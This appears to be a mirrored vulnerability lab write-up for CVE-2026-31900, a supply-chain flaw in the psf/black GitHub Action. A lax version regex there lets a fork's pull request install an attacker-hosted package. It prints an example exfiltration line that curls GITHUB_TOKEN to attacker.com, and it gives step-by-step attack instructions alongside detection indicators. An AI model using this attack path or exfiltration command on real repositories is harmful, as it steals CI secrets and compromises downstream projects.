psf/black GitHub Action RCE via Insecure Regex Version Validation — CVE-2026-31900

Metadata

Affected Target

Summary

The psf/black GitHub Action’s use_pyproject: true option reads the Black version to install from the repository’s pyproject.toml. The regex used to validate that version string (^black([^A-Z0-9.\_-]+.*)$ with re.IGNORECASE) is overly permissive, allowing characters such as space, @, :, and / — exactly what is needed to express a PEP 508 direct-URL requirement. An attacker who can influence pyproject.toml (e.g. via a pull request from a fork) can specify black @ https://attacker.com/malicious_black.tar.gz as the “version,” causing the Action’s pip install step to fetch and run an attacker-controlled package’s setup.py during the pull_request-triggered CI run, exfiltrating GITHUB_TOKEN and other workflow secrets.

Vulnerability Details

Root Cause

The version-validation regex BLACK_VERSION_RE = re.compile(r"^black([^A-Z0-9.\_-]+.*)$", re.IGNORECASE) used when use_pyproject: true is set fails to restrict the characters that can follow black, permitting a full PEP 508 URL-based requirement specifier to pass validation instead of only a version number.

Attack Vector

1. Attacker forks the target repository (one using the psf/black Action with use_pyproject: true).
2. Attacker modifies pyproject.toml in their fork, setting the Black dependency to black @ https://attacker.com/malicious_black.tar.gz.
3. Attacker opens a Pull Request against the upstream repository, triggering the pull_request workflow.
4. The Action reads the malicious “version” string from pyproject.toml; the overly permissive regex accepts it.
5. pip install fetches the attacker-hosted package and executes its setup.py during installation (e.g. os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")), running arbitrary code in the CI runner with access to GITHUB_TOKEN and any other injected secrets.

Impact

Arbitrary code execution inside the CI runner triggered by a pull request from any external contributor, leading to theft of the CI job’s GITHUB_TOKEN and any other secrets exposed to the workflow — a supply-chain compromise vector against any repository using the vulnerable Action configuration.

Environment / Lab Setup

Target:   A GitHub repository using the psf/black Action with `use_pyproject: true` (< v26.3.0)
Attacker: A GitHub account able to fork the repository and open a pull request

Proof of Concept

PoC Script

See .github/workflows/black.yml, pyproject.toml, and app.py in this folder.

The lab repository’s black.yml workflow demonstrates the vulnerable use_pyproject: true configuration; pyproject.toml and app.py represent the legitimate baseline configuration that an attacker’s fork would modify to smuggle a malicious PEP 508 URL dependency.

Detection & Indicators of Compromise

Signs of compromise:

• CI logs showing pip install resolving black to an external URL instead of PyPI
• Outbound network requests from CI runners to unfamiliar domains during a black formatting step
• Unexpected use/exposure of GITHUB_TOKEN shortly after a pull request from an unfamiliar contributor

Remediation

References

• Source repository

Notes

Mirrored from https://github.com/Batosay1337Lab/cve-2026-31900-lab on 2026-07-05.